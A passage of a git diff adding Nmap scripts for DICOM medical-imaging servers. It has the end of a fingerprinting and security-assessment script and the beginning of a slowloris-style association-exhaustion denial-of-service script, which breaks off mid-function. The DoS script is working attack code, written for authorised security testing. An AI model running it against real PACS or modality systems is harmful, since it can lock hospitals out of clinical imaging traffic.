["1.2.826.0.1.3680043.9.3811."] = "pynetdicom", + ["1.2.826.0.1.3680043.8.498."] = "pydicom", +} + +--- Look up an Implementation Class UID in the fingerprint database. +-- @param uid Implementation Class UID string +-- @return product name or nil +local function lookup_impl(uid) + if not uid or uid == "" then return nil end + -- Exact match first + if IMPL_DB[uid] then return IMPL_DB[uid] end + -- Prefix match + for prefix, name in pairs(IMPL_PREFIX) do + if uid:sub(1, #prefix) == prefix then + return name + end + end + return nil +end + +----------------------------------------------------------------------- +-- SOP CLASS CATALOG +----------------------------------------------------------------------- +-- Organized by service category for structured output. +-- Each entry: {uid, short_name, category} + +local SOP_CATALOG = { + -- Verification + {"1.2.840.10008.1.1", "C-ECHO Verification", "Verification"}, + -- Storage: Common modalities + {"1.2.840.10008.5.1.4.1.1.2", "CT Image Storage", "Storage"}, + {"1.2.840.10008.5.1.4.1.1.2.1", "Enhanced CT Image Storage", "Storage"}, + {"1.2.840.10008.5.1.4.1.1.4", "MR Image Storage", "Storage"}, + {"1.2.840.10008.5.1.4.1.1.4.1", "Enhanced MR Image Storage", "Storage"}, + {"1.2.840.10008.5.1.4.1.1.6.1", "US Image Storage", "Storage"}, + {"1.2.840.10008.5.1.4.1.1.7", "Secondary Capture", "Storage"}, + {"1.2.840.10008.5.1.4.1.1.7.1", "Multi-frame SC (Byte)", "Storage"}, + {"1.2.840.10008.5.1.4.1.1.7.2", "Multi-frame SC (Word)", "Storage"}, + {"1.2.840.10008.5.1.4.1.1.7.3", "Multi-frame SC (True Color)", "Storage"}, + {"1.2.840.10008.5.1.4.1.1.7.4", "Multi-frame SC (Grayscale)", "Storage"}, + {"1.2.840.10008.5.1.4.1.1.12.1", "X-Ray Angiographic Storage", "Storage"}, + {"1.2.840.10008.5.1.4.1.1.12.2", "X-Ray Radiofluoroscopic Storage", + "Storage"}, + {"1.2.840.10008.5.1.4.1.1.20", "NM Image Storage", "Storage"}, + {"1.2.840.10008.5.1.4.1.1.128", "PET Image Storage", "Storage"}, + {"1.2.840.10008.5.1.4.1.1.128.1", "Enhanced PET Image Storage", "Storage"}, + {"1.2.840.10008.5.1.4.1.1.1", "CR Image Storage", "Storage"}, + {"1.2.840.10008.5.1.4.1.1.1.1", "Digital X-Ray (DX) Storage", "Storage"}, + {"1.2.840.10008.5.1.4.1.1.1.2", "Digital Mammography Storage", "Storage"}, + {"1.2.840.10008.5.1.4.1.1.104.1", "Encapsulated PDF Storage", "Storage"}, + {"1.2.840.10008.5.1.4.1.1.104.2", "Encapsulated CDA Storage", "Storage"}, + {"1.2.840.10008.5.1.4.1.1.104.3", "Encapsulated STL Storage", "Storage"}, + -- Query/Retrieve + {"1.2.840.10008.5.1.4.1.2.2.1", "Study Root Q/R - FIND", "Query/Retrieve"}, + {"1.2.840.10008.5.1.4.1.2.2.2", "Study Root Q/R - MOVE", "Query/Retrieve"}, + {"1.2.840.10008.5.1.4.1.2.2.3", "Study Root Q/R - GET", "Query/Retrieve"}, + {"1.2.840.10008.5.1.4.1.2.1.1", "Patient Root Q/R - FIND", "Query/Retrieve"}, + {"1.2.840.10008.5.1.4.1.2.1.2", "Patient Root Q/R - MOVE", "Query/Retrieve"}, + {"1.2.840.10008.5.1.4.1.2.1.3", "Patient Root Q/R - GET", "Query/Retrieve"}, + -- Worklist & Workflow + {"1.2.840.10008.5.1.4.31", "Modality Worklist - FIND", "Worklist"}, + {"1.2.840.10008.3.1.2.3.3", "Modality Performed Procedure Step", "Workflow"}, + {"1.2.840.10008.5.1.4.32.1", "Unified Procedure Step - Push", "Workflow"}, + {"1.2.840.10008.5.1.4.32.3", "Unified Procedure Step - Watch", "Workflow"}, + -- Storage Commitment + {"1.2.840.10008.1.20.1", "Storage Commitment Push", "Commitment"}, + -- RT + {"1.2.840.10008.5.1.4.1.1.481.1", "RT Image Storage", "Storage (RT)"}, + {"1.2.840.10008.5.1.4.1.1.481.2", "RT Dose Storage", "Storage (RT)"}, + {"1.2.840.10008.5.1.4.1.1.481.3", "RT Structure Set Storage", + "Storage (RT)"}, + {"1.2.840.10008.5.1.4.1.1.481.5", "RT Plan Storage", "Storage (RT)"}, + {"1.2.840.10008.5.1.4.1.1.481.8", "RT Ion Plan Storage", "Storage (RT)"}, + -- Structured Reports + {"1.2.840.10008.5.1.4.1.1.88.11", "Basic Text SR Storage", "Storage (SR)"}, + {"1.2.840.10008.5.1.4.1.1.88.22", "Enhanced SR Storage", "Storage (SR)"}, + {"1.2.840.10008.5.1.4.1.1.88.33", "Comprehensive SR Storage", + "Storage (SR)"}, + {"1.2.840.10008.5.1.4.1.1.88.34", "Comprehensive 3D SR Storage", + "Storage (SR)"}, +} + +-- Extended storage SOP classes for "full" probe mode +local SOP_EXTENDED = { + -- Ophthalmology + {"1.2.840.10008.5.1.4.1.1.77.1.5.1", "Ophthalmic Photography 8 Bit", + "Storage (Oph)"}, + {"1.2.840.10008.5.1.4.1.1.77.1.5.2", "Ophthalmic Photography 16 Bit", + "Storage (Oph)"}, + {"1.2.840.10008.5.1.4.1.1.77.1.5.4", "Ophthalmic Tomography Storage", + "Storage (Oph)"}, + -- Waveform + {"1.2.840.10008.5.1.4.1.1.9.1.1", "12-lead ECG Waveform Storage", + "Storage (Waveform)"}, + {"1.2.840.10008.5.1.4.1.1.9.1.2", "General ECG Waveform Storage", + "Storage (Waveform)"}, + {"1.2.840.10008.5.1.4.1.1.9.1.3", "Ambulatory ECG Waveform Storage", + "Storage (Waveform)"}, + -- Presentation State + {"1.2.840.10008.5.1.4.1.1.11.1", "Grayscale Softcopy Pres. State", + "Storage (PR)"}, + {"1.2.840.10008.5.1.4.1.1.11.2", "Color Softcopy Pres. State", + "Storage (PR)"}, + -- Key Object + {"1.2.840.10008.5.1.4.1.1.88.59", "Key Object Selection Doc", + "Storage (KO)"}, + -- Segmentation + {"1.2.840.10008.5.1.4.1.1.66.4", "Segmentation Storage", "Storage (Seg)"}, + -- Parametric Map + {"1.2.840.10008.5.1.4.1.1.30", "Parametric Map Storage", "Storage (Map)"}, + -- Raw Data + {"1.2.840.10008.5.1.4.1.1.66", "Raw Data Storage", "Storage (Raw)"}, + -- VL Image + {"1.2.840.10008.5.1.4.1.1.77.1.1", "VL Endoscopic Image Storage", + "Storage (VL)"}, + {"1.2.840.10008.5.1.4.1.1.77.1.2", "VL Microscopic Image Storage", + "Storage (VL)"}, + {"1.2.840.10008.5.1.4.1.1.77.1.4", "VL Photographic Image Storage", + "Storage (VL)"}, + -- Whole Slide + {"1.2.840.10008.5.1.4.1.1.77.1.6", "VL Whole Slide Microscopy Storage", + "Storage (WSI)"}, + -- 3D + {"1.2.840.10008.5.1.4.1.1.68.1", "Surface Scan Mesh Storage", + "Storage (3D)"}, +} + +----------------------------------------------------------------------- +-- TRANSFER SYNTAX CATALOG +----------------------------------------------------------------------- + +local TS_CATALOG = { + {"1.2.840.10008.1.2", "Implicit VR Little Endian"}, + {"1.2.840.10008.1.2.1", "Explicit VR Little Endian"}, + {"1.2.840.10008.1.2.2", "Explicit VR Big Endian (retired)"}, + {"1.2.840.10008.1.2.1.99", "Deflated Explicit VR Little Endian"}, + {"1.2.840.10008.1.2.4.50", "JPEG Baseline (Process 1)"}, + {"1.2.840.10008.1.2.4.51", "JPEG Extended (Process 2 & 4)"}, + {"1.2.840.10008.1.2.4.57", "JPEG Lossless Non-Hierarchical (Process 14)"}, + {"1.2.840.10008.1.2.4.70", "JPEG Lossless SV1 (Process 14 SV1)"}, + {"1.2.840.10008.1.2.4.80", "JPEG-LS Lossless"}, + {"1.2.840.10008.1.2.4.81", "JPEG-LS Lossy (Near-Lossless)"}, + {"1.2.840.10008.1.2.4.90", "JPEG 2000 (Lossless Only)"}, + {"1.2.840.10008.1.2.4.91", "JPEG 2000"}, + {"1.2.840.10008.1.2.4.201", "HTJ2K (Lossless Only)"}, + {"1.2.840.10008.1.2.4.202", "HTJ2K (Lossless or Lossy)"}, + {"1.2.840.10008.1.2.4.203", "HTJ2K RPCL (Lossless Only)"}, + {"1.2.840.10008.1.2.5", "RLE Lossless"}, +} + +----------------------------------------------------------------------- +-- HELPERS +----------------------------------------------------------------------- + +local function get_arg(key, default) + return stdnse.get_script_args("dicom-info." .. key) or default +end + +--- Probe whether a list of SOP classes are accepted by the target. +-- Sends A-ASSOCIATE-RQ proposing up to `batch_size` SOP classes at once, +-- returns list of accepted UIDs and their transfer syntaxes. +-- @param host, port Nmap host/port objects +-- @param called_ae Called AE Title +-- @param calling_ae Calling AE Title +-- @param sop_entries List of {uid, name, category} from catalog +-- @param max_pdu Max PDU length +-- @param timeout_s Timeout in seconds +-- @param ts_uids Transfer syntax UIDs to propose +-- @return accepted (list of {uid, name, category, transfer_syntax}), +-- rejected_count +local function probe_sop_classes(host, port, called_ae, calling_ae, + sop_entries, max_pdu, timeout_s, ts_uids, + tls) + local accepted = {} + local rejected = 0 + + -- DICOM allows up to 128 presentation contexts per association (pctx_id + -- 1-255 odd) + local batch_size = 128 + local i = 1 + + while i <= #sop_entries do + local batch = {} + local batch_uids = {} + for j = i, math.min(i + batch_size - 1, #sop_entries) do + batch[#batch + 1] = sop_entries[j] + batch_uids[#batch_uids + 1] = sop_entries[j][1] + end + + local ok, sock, pctxs, _, _, ac_info = dicom.do_associate( + host, port, called_ae, calling_ae, batch_uids, max_pdu, timeout_s, + ts_uids, nil, tls) + + if ok then + -- Map pctx_id back to SOP class (pctx_id = 2*index - 1) + for idx, entry in ipairs(batch) do + local pctx_id = 2 * idx - 1 + if pctxs[pctx_id] and pctxs[pctx_id].accepted then + accepted[#accepted + 1] = { + uid = entry[1], + name = entry[2], + category = entry[3], + ts = pctxs[pctx_id].transfer_syntax or "", + } + else + rejected = rejected + 1 + end + end + dicom.do_release(sock, 3) + else + -- Association failed entirely for this batch + rejected = rejected + #batch + stdnse.debug1("SOP probe batch failed: %s", tostring(sock)) + end + + i = i + batch_size + end + + return accepted, rejected +end + +--- Probe which transfer syntaxes the target accepts for a given SOP class. +-- Tests each transfer syntax individually against a single SOP class. +-- @param host, port Nmap host/port objects +-- @param called_ae Called AE Title +-- @param calling_ae Calling AE Title +-- @param sop_uid SOP Class UID to test against +-- @param max_pdu Max PDU length +-- @param timeout_s Timeout in seconds +-- @return List of accepted {uid, name} transfer syntaxes +local function probe_transfer_syntaxes(host, port, called_ae, calling_ae, + sop_uid, max_pdu, timeout_s, tls) + local accepted = {} + + -- Test each transfer syntax individually (some servers only accept one per + -- pctx) + for _, ts in ipairs(TS_CATALOG) do + local ok, sock, pctxs = dicom.do_associate( + host, port, called_ae, calling_ae, {sop_uid}, max_pdu, timeout_s, + {ts[1]}, nil, tls) + + if ok then + local pctx_id = dicom.pick_accepted_pctx(pctxs) + if pctx_id then + accepted[#accepted + 1] = { uid = ts[1], name = ts[2] } + end + dicom.do_release(sock, 3) + end + end + + return accepted +end + +--- Format a certificate date, which may be a string or a date table. +local function fmt_date(d) + if type(d) == "table" then + if d.year then + return string.format("%04d-%02d-%02d %02d:%02d:%02d", + d.year or 0, d.month or 0, d.day or 0, + d.hour or 0, d.min or 0, d.sec or 0) + end + return "?" + end + return tostring(d) +end + +--- Describe a TLS certificate as a list of output lines. +local function cert_lines(cert) + local subj = cert.subject and cert.subject.commonName or "?" + local iss = cert.issuer and cert.issuer.commonName or "?" + local exp = "?" + if cert.validity and cert.validity.notAfter then + exp = fmt_date(cert.validity.notAfter) + end + local lines = { + "Subject CN: " .. subj, + "Issuer CN: " .. iss, + "Not after: " .. exp, + } + -- Certificate key and signature strength (from the presented cert). + if cert.pubkey then + local ktype = tostring(cert.pubkey.type or "?") + local kbits = cert.pubkey.bits + local kline = "Public key: " .. ktype + if kbits then kline = kline .. " " .. tostring(kbits) .. "-bit" end + if ktype == "rsa" and kbits and kbits < 2048 then + kline = kline .. " (WEAK: < 2048-bit)" + end + lines[#lines + 1] = kline + end + if cert.sig_algorithm then + local sig = tostring(cert.sig_algorithm) + local sline = "Signature: " .. sig + local low = sig:lower() + if low:find("sha1") or low:find("md5") then + sline = sline .. " (WEAK signature algorithm)" + end + lines[#lines + 1] = sline + end + if subj ~= "?" and subj == iss then + lines[#lines + 1] = "Self-signed certificate" + end + return lines +end + +--- Return weak-crypto / cert warnings for the WARNINGS section. +local function cert_warnings(cert) + local w = {} + if cert.pubkey and cert.pubkey.type == "rsa" and cert.pubkey.bits + and cert.pubkey.bits < 2048 then + w[#w + 1] = "TLS certificate uses a weak RSA key (< 2048-bit)" + end + if cert.sig_algorithm then + local low = tostring(cert.sig_algorithm):lower() + if low:find("sha1") or low:find("md5") then + w[#w + 1] = "TLS certificate uses a weak signature algorithm (SHA-1/MD5)" + end + end + local subj = cert.subject and cert.subject.commonName + local iss = cert.issuer and cert.issuer.commonName + if subj and iss and subj == iss then + w[#w + 1] = "TLS certificate is self-signed (no CA trust chain)" + end + return w +end + +----------------------------------------------------------------------- +-- MAIN ACTION +----------------------------------------------------------------------- + +action = function(host, port) + local called_ae = get_arg("called_ae", "ANY-SCP") + local calling_ae = get_arg("calling_ae", "NMAP-INFO") + local timeout_s = tonumber(get_arg("timeout", "10")) + local max_pdu = tonumber(get_arg("max_pdu", "16384")) + local probe_depth = get_arg("probe", "standard"):lower() + + -- Transport: tls=true forces DICOM-over-TLS, tls=false forces plaintext, + -- unset auto-detects (plaintext first, then TLS). + local tls_arg = stdnse.get_script_args("dicom.tls") + local attempts + if tls_arg == "true" then + attempts = { true } + elseif tls_arg == "false" then + attempts = { false } + else + attempts = { false, true } + end + + local out = stdnse.output_table() + + -- == Phase 1: Fingerprint via Verification SOP class == + local ok, sock, pctxs, server_max_pdu, elapsed, ac_info + local tls = false + for _, t in ipairs(attempts) do + ok, sock, pctxs, server_max_pdu, elapsed, ac_info = dicom.do_associate( + host, port, called_ae, calling_ae, + {dicom.SOP_CLASS.VERIFICATION}, max_pdu, timeout_s, nil, nil, t) + if ok then + tls = t + break + end + end + + if not ok then + out["Error"] = string.format("Association failed: %s", tostring(sock)) + return out + end + + -- Extract fingerprint data + local impl_uid = ac_info.impl_class_uid or "" + local impl_ver = ac_info.impl_version or "" + local product = lookup_impl(impl_uid) + + -- Format implementation info + if product then + -- If impl_version adds version detail not in the product name, append it + if impl_ver ~= "" and not product:lower():find(impl_ver:lower()) then + out["Implementation"] = string.format("%s (%s)", product, impl_ver) + else + out["Implementation"] = product + end + elseif impl_ver ~= "" then + out["Implementation"] = impl_ver + else + out["Implementation"] = "Unknown" + end + out[" Class UID"] = impl_uid ~= "" and impl_uid or "(not provided)" + out[" Version"] = impl_ver ~= "" and impl_ver or "(not provided)" + out["Max PDU"] = server_max_pdu or max_pdu + + -- C-ECHO verification + local pctx_id = dicom.pick_accepted_pctx(pctxs) + local echo_ok = false + if pctx_id then + local cmd = dicom.build_cecho_rq(1) + dicom.send_dimse(sock, pctx_id, cmd, nil, max_pdu) + local pdu_type, cmd_elems = dicom.recv_dimse(sock, timeout_s) + if pdu_type == dicom.PDU_CODES.DATA and cmd_elems + and cmd_elems["0000,0900"] + and cmd_elems["0000,0900"].value == dicom.STATUS.SUCCESS then + echo_ok = true + end + end + dicom.do_release(sock, 3) + + if probe_depth == "basic" then + out["C-ECHO"] = echo_ok and "SUCCESS" or "FAILED" + nmap.set_port_state(host, port, "open") + port.version.name = "dicom" + if product then port.version.product = product end + nmap.set_port_version(host, port, "hardmatched") + return out + end + + -- == Phase 2: SOP class probing == + -- Build the probe list based on depth + local probe_list = {} + for _, entry in ipairs(SOP_CATALOG) do + probe_list[#probe_list + 1] = entry + end + if probe_depth == "full" then + for _, entry in ipairs(SOP_EXTENDED) do + probe_list[#probe_list + 1] = entry + end + end + + -- Use standard transfer syntaxes for SOP probing + local probe_ts = { + dicom.TRANSFER_SYNTAX.EXPLICIT_LE, + dicom.TRANSFER_SYNTAX.IMPLICIT_LE, + } + + local accepted_sops, rejected_count = probe_sop_classes( + host, port, called_ae, calling_ae, probe_list, max_pdu, timeout_s, + probe_ts, tls) + + local total_probed = #probe_list + out["Accepted SOP Classes"] = string.format("%d of %d probed", + #accepted_sops, total_probed) + + -- Group by category for display + local cat_order = {} + local by_category = {} + for _, sop in ipairs(accepted_sops) do + if not by_category[sop.category] then + by_category[sop.category] = {} + cat_order[#cat_order + 1] = sop.category + end + by_category[sop.category][#by_category[sop.category] + 1] = sop + end + + local sop_lines = {} + for _, cat in ipairs(cat_order) do + for _, sop in ipairs(by_category[cat]) do + -- Align UID column for readability + local padded = sop.name .. string.rep(" ", math.max(1, 50 - #sop.name)) + sop_lines[#sop_lines + 1] = padded .. sop.uid + end + end + out[" Services"] = sop_lines + + -- == Phase 3: Transfer syntax probing == + -- Use Verification SOP (universally accepted) as the probe target + local ts_probe_sop = dicom.SOP_CLASS.VERIFICATION + -- If Verification wasn't accepted, use the first accepted SOP + if #accepted_sops > 0 then + -- Prefer Verification, but fall back to first accepted + local found_verif = false + for _, sop in ipairs(accepted_sops) do + if sop.uid == dicom.SOP_CLASS.VERIFICATION then + found_verif = true + break + end + end + if not found_verif then + ts_probe_sop = accepted_sops[1].uid + end + end + + local accepted_ts = probe_transfer_syntaxes( + host, port, called_ae, calling_ae, ts_probe_sop, max_pdu, timeout_s, tls) + + if #accepted_ts > 0 then + local ts_lines = {} + for _, ts in ipairs(accepted_ts) do + local padded = ts.name .. string.rep(" ", math.max(1, 50 - #ts.name)) + ts_lines[#ts_lines + 1] = padded .. ts.uid + end + out["Accepted Transfer Syntaxes"] = ts_lines + end + + -- == Security assessment == + -- Transport was determined by our own association attempt above. + if tls then + out["Security"] = "DICOM over TLS (encrypted)" + if ac_info and ac_info.cert then + out[" TLS certificate"] = cert_lines(ac_info.cert) + end + -- We completed the TLS association without presenting a client + -- certificate, so the server does not require mutual TLS (IHE ATNA node + -- authentication). + out[" Client certificate"] = + "not required (no mutual TLS / IHE ATNA node authentication)" + else + out["Security"] = "No TLS (plaintext DICOM association)" + end + + -- Check for concerning capabilities + local warnings = {} + if echo_ok then + warnings[#warnings + 1] = "DICOM service accessible without authentication" + end + + -- Check for Q/R services (data exfiltration risk) + local has_find, has_move, has_get = false, false, false + for _, sop in ipairs(accepted_sops) do + if sop.uid:find("%.1$") and sop.category == "Query/Retrieve" then + has_find = true + end + if sop.uid:find("%.2$") and sop.category == "Query/Retrieve" then + has_move = true + end + if sop.uid:find("%.3$") and sop.category == "Query/Retrieve" then + has_get = true + end + end + if has_find then + warnings[#warnings + 1] = "Q/R FIND enabled - patient data enumeration" .. + " possible (use dicom-cfind-ls)" + end + if has_move then + warnings[#warnings + 1] = "Q/R MOVE enabled - image exfiltration to" .. + " arbitrary destination possible" + end + if has_get then + warnings[#warnings + 1] = "Q/R GET enabled - direct image download" .. + " possible" + end + + -- Check for storage (C-STORE injection risk) + local storage_count = 0 + for _, sop in ipairs(accepted_sops) do + if sop.category:find("^Storage") then storage_count = storage_count + 1 end + end + if storage_count > 0 then + warnings[#warnings + 1] = string.format( + "%d storage SOP classes accepted - malformed data injection possible" .. + " (use dicom-store-fuzzer)", + storage_count) + end + + if not tls then + warnings[#warnings + 1] = "No TLS - PHI transmitted in plaintext" + else + warnings[#warnings + 1] = "TLS server requires no client certificate" + .. " (no mutual TLS / IHE ATNA node authentication)" + if ac_info and ac_info.cert then + for _, w in ipairs(cert_warnings(ac_info.cert)) do + warnings[#warnings + 1] = w + end + end + end + + if #warnings > 0 then + out["WARNINGS"] = warnings + end + + -- Set port info + nmap.set_port_state(host, port, "open") + port.version.name = "dicom" + if product then port.version.product = product end + nmap.set_port_version(host, port, "hardmatched") + + return out +end diff --git a/scripts/dicom-slowloris.nse b/scripts/dicom-slowloris.nse new file mode 100644 index 000000000..ee6ad46cd --- /dev/null +++ b/scripts/dicom-slowloris.nse @@ -0,0 +1,495 @@ +local shortport = require "shortport" +local stdnse = require "stdnse" +local nmap = require "nmap" +local string = require "string" +local math = require "math" +local table = require "table" +local dicom = require "dicom" + +description = [[ +DICOM association-exhaustion (slowloris-style) denial-of-service probe. + +Tests whether a DICOM SCP can be driven into association-pool exhaustion, a +slowloris-like attack adapted to the DICOM Upper Layer protocol (PS3.8). A DICOM +server must keep state for every established association until it is released +(A-RELEASE) or aborted (A-ABORT), and most PACS / VNA / modality software caps +concurrent associations (commonly 10-50). A client that opens associations and +holds them -- idle, drip-fed, or half-open -- can fill that pool and lock out +legitimate SCUs (modalities, workstations, gateways). + +Attack modes: + * "idle" (default) complete the A-ASSOCIATE handshake and hold it open + with no DIMSE traffic (PS3.8 has no mandatory idle timeout). + * "echo" complete the handshake and send a periodic C-ECHO keep-alive to + defeat ARTIM / proprietary idle timers. + * "partial" open TCP and send only the first bytes of an A-ASSOCIATE-RQ, so + the server's ARTIM timer holds the socket while it waits for the + rest -- exhaustion before a single association even completes. + +Rather than flipping on one failed probe, the script: + * measures a baseline association latency first, and rejects the run if the + server already refuses this calling AE (AE whitelist) or is down; + * fills the pool in waves, and after each wave records the probe latency and + counts how many held associations are still alive (so a server that quietly + drops half-open sockets is detected, not mistaken for a full pool); + * requires several consecutive unavailable probes before declaring + exhaustion, and classifies the failure (TCP refused vs accepted-but- + unanswered) to point at the limit that broke; + * reports a graded verdict -- VULNERABLE (full exhaustion), DEGRADED (latency + rose sharply but never fully failed), or NOT VULNERABLE -- plus the recovery + time after release. + +WARNING: this is a denial-of-service test. A successful run disrupts clinical +DICOM traffic (store, query, retrieve). Run it only against systems you are +explicitly authorised to test, in a controlled window. + +Requires the dicom.lua library (place in nselib/ or same directory). +]] + +--- +-- @usage +-- nmap -p4242 --script dicom-slowloris \ +-- --script-args 'dicom-slowloris.called_ae=ORTHANC' +-- +-- @usage +-- nmap -p4242 --script dicom-slowloris \ +-- --script-args 'dicom-slowloris.mode=echo,dicom-slowloris.connections=200' \ +-- +-- +-- @usage +-- nmap -p2762 --script dicom-slowloris --script-args 'dicom.tls=true' +-- +-- @args dicom-slowloris.called_ae Target AE Title. Default: "ANY-SCP" +-- @args dicom-slowloris.calling_ae Our AE Title. Default: "NMAP-SLOW" +-- @args dicom-slowloris.connections Max connections to open. Default: 50 +-- @args dicom-slowloris.mode "idle", "echo" or "partial". +-- Default: "idle" +-- @args dicom-slowloris.wave_size Connections per wave. Default: 10 +-- @args dicom-slowloris.wave_delay Seconds between waves. Default: 1 +-- @args dicom-slowloris.echo_interval Seconds between C-ECHO keep-alives +-- (echo mode). Default: 5 +-- @args dicom-slowloris.hold_time Seconds to hold after exhaustion. +-- Default: 10 +-- @args dicom-slowloris.timeout Connection/DIMSE timeout. Default: 10 +-- @args dicom-slowloris.max_pdu Max PDU length. Default: 16384 +-- @args dicom-slowloris.partial_bytes Bytes to send in partial mode. +-- Default: 32 +-- @args dicom-slowloris.confirm Consecutive failed probes required to +-- confirm exhaustion. Default: 2 +-- @args dicom-slowloris.degrade_factor Latency multiple over baseline that +-- counts as degraded. Default: 10 +-- @args dicom-slowloris.baseline_samples Probes used to set the baseline. +-- Default: 3 +-- @args dicom-slowloris.vary_ae Vary calling AE per connection. +-- Default: false +-- @args dicom.tls Force transport: "true"/"false"/unset. +-- +-- @output +-- PORT STATE SERVICE +-- 4242/tcp open dicom +-- | dicom-slowloris: +-- | Mode: idle Target AE: ORTHANC Calling AE: NMAP-SLOW +-- | Baseline association latency: 6 ms +-- | Phase 1 - Filling association pool: +-- | Wave 1: +10 opened (10 held, 10 alive, 0 failed) probe ok 7 ms +-- | Wave 2: +10 opened (20 held, 20 alive, 0 failed) probe ok 41 ms +-- | Wave 3: +8 opened, 2 refused (28 held, 28 alive) probe timeout +-- | Exhaustion confirmed at 28 associations (2 consecutive failures) +-- | Failure mode: connections accepted but unanswered (pool saturation) +-- | Latency under load: 6 ms baseline -> 41 ms peak before failure +-- | Phase 2 - Holding (10s): held 28, still alive 28 at end +-- | Phase 3 - Release and recovery: server available 1.2s after release +-- | Results: +-- | VULNERABLE: association-pool exhaustion confirmed +-- | Exhaustion threshold: 28 concurrent associations +-- | Recovery: 1.2s after release +-- |_ Mitigation: ARTIM/idle timeout, per-source limits, rate limiting +-- +-- @xmloutput +-- VULNERABLE +-- 28 +-- timeout +-- 6 +--- + +author = "Paulino Calderon " +license = "Same as Nmap -- See https://nmap.org/book/man-legal.html" +categories = {"dos", "intrusive"} + +portrule = shortport.port_or_service({104, 2762, 11112, 4242}, "dicom", "tcp", + "open") + +local VERIF = "1.2.840.10008.1.1" + +local function get_arg(key, default) + return stdnse.get_script_args("dicom-slowloris." .. key) or default +end + +--- Median of a numeric list (returns nil for an empty list). +local function median(t) + if #t == 0 then return nil end + local s = {} + for _, v in ipairs(t) do s[#s + 1] = v end + table.sort(s) + local m = math.floor((#s + 1) / 2) + if #s % 2 == 1 then return s[m] end + return (s[m] + s[m + 1]) / 2 +end + +--- Classify a do_associate failure reason into a probe status. +-- A-ASSOCIATE-RJ is split by cause: a presentation-service-provider rejection +-- (source 3) means "temporary congestion" / "local limit exceeded" -- the +-- server refusing new work because its pool is full, which IS the exhaustion +-- condition. A service-user rejection (source 1: AE title / protocol) means the +-- server is alive and refusing this configuration, not exhausted. +local function classify(reason) + reason = tostring(reason or "") + if reason:find("CONN_REFUSED") then return "refused" end + if reason:find("TIMEOUT") or reason:find("NO_DATA") then return "timeout" end + if reason:find("RESET") then return "reset" end + local src = reason:match("REJECT%(result=%d+,source=(%d+),") + if src then + return tonumber(src) == 3 and "limit" or "rejected" + end + if reason:find("REJECT") then return "rejected" end + if reason:find("ABORT") then return "abort" end + return "error" +end + +--- Probe the server with a fresh association (+ C-ECHO). +-- @return status ("ok"/"rejected"/"refused"/"timeout"/"reset"/"error"), ms +-- "ok" and "rejected" both mean the server is alive and servicing TCP; the +-- rest mean it is not answering new associations. +local function probe(host, port, called_ae, calling_ae, timeout_s) + local t0 = nmap.clock_ms() + local ok, sock, pctxs = dicom.do_associate(host, port, called_ae, calling_ae, + {VERIF}, 16384, timeout_s) + if not ok then + return classify(sock), nmap.clock_ms() - t0 + end + local pctx = dicom.pick_accepted_pctx(pctxs) + if pctx then + dicom.send_dimse(sock, pctx, dicom.build_cecho_rq(99), nil, 16384) + local pt, ce = dicom.recv_dimse(sock, timeout_s) + dicom.do_release(sock, 2) + if pt and ce and ce["0000,0900"] then + return "ok", nmap.clock_ms() - t0 + end + return "timeout", nmap.clock_ms() - t0 + end + dicom.do_release(sock, 2) + return "ok", nmap.clock_ms() - t0 +end + +local function is_alive(status) + return status == "ok" or status == "rejected" +end + +--- Heuristic liveness check on a held socket without disturbing the hold. +-- A short read that times out means the socket is still open; EOF/reset, or an +-- A-ABORT PDU (type 0x07) coming back, means the server tore it down. +local function sock_alive(sock) + if not sock then return false end + sock:set_timeout(60) + local st, data = sock:receive_bytes(1) + if st then + return not (data and #data > 0 and string.byte(data, 1) == 0x07) + end + return tostring(data or ""):find("TIMEOUT") ~= nil +end + +--- Count (and prune) still-alive held sockets. +local function count_alive(socks) + local alive = 0 + for i = 1, #socks do + if socks[i] then + if sock_alive(socks[i]) then + alive = alive + 1 + else + pcall(function() socks[i]:close() end) + socks[i] = false + end + end + end + return alive +end + +--- Open one held connection per mode. Returns socket+pctx_id, or nil+err. +local function open_conn(host, port, mode, called_ae, calling_ae, max_pdu, + timeout_s, partial_bytes) + if mode == "partial" then + local sock = dicom.new_sock(timeout_s) + local ok = dicom.tcp_connect(sock, host, port) + if not ok then sock:close() return nil, nil, "CONN_REFUSED" end + local full = dicom.build_assoc_rq(called_ae, calling_ae, {VERIF}, max_pdu) + -- Keep at least the 6-byte PDU header so the server commits to reading the + -- declared length and blocks waiting for the remainder. + local n = math.max(math.min(partial_bytes, #full), 6) + ok = dicom.tcp_send(sock, full:sub(1, n)) + if not ok then sock:close() return nil, nil, "SEND_FAILED" end + return sock, nil, nil + end + local ok, sock, pctxs = dicom.do_associate(host, port, called_ae, calling_ae, + {VERIF}, max_pdu, timeout_s) + if not ok then return nil, nil, tostring(sock) end + local pctx = dicom.pick_accepted_pctx(pctxs) + if mode == "echo" and not pctx then + dicom.do_release(sock, 2) + return nil, nil, "no accepted presentation context" + end + return sock, pctx, nil +end + +--- Send a keep-alive C-ECHO; return true if the association answered. +local function keepalive(sock, pctx, msg_id, max_pdu, timeout_s) + if not sock or not pctx then return false end + local ok = dicom.send_dimse(sock, pctx, dicom.build_cecho_rq(msg_id), nil, + max_pdu) + if not ok then return false end + local pt, ce = dicom.recv_dimse(sock, timeout_s) + return pt and ce and ce["0000,0900"] ~= nil +end + +action = function(host, port) + local called_ae = get_arg("called_ae", "ANY-SCP") + local calling_ae = get_arg("calling_ae", "NMAP-SLOW") + local max_conns = tonumber(get_arg("connections", "50")) or 50 + local mode = get_arg("mode", "idle"):lower() + local wave_size = tonumber(get_arg("wave_size", "10")) or 10 + local wave_delay = tonumber(get_arg("wave_delay", "1")) or 1 + local echo_interval = tonumber(get_arg("echo_interval", "5")) or 5 + local hold_time = tonumber(get_arg("hold_time", "10")) or 10 + local timeout_s = tonumber(get_arg("timeout", "10")) or 10 + local max_pdu = tonumber(get_arg("max_pdu", "16384")) or 16384 + local partial_bytes = tonumber(get_arg("partial_bytes", "32")) or 32 + local confirm = tonumber(get_arg("confirm", "2")) or 2 + local degrade_factor = tonumber(get_arg("degrade_factor", "10")) or 10 + local baseline_samples = tonumber(get_arg("baseline_samples", "3")) or 3 + local vary_ae = get_arg("vary_ae", "false"):lower() == "true" + + local out = stdnse.output_table() + if mode ~= "idle" and mode ~= "echo" and mode ~= "partial" then + out["Error"] = "Invalid mode '" .. mode .. "' (use idle, echo, partial)" + return out + end + out["Mode"] = string.format("%s Target AE: %s Calling AE: %s", + mode, called_ae, calling_ae) + + -- Baseline: measure normal latency and confirm the server services our AE. + local base = {} + local last_status + for _ = 1, math.max(baseline_samples, 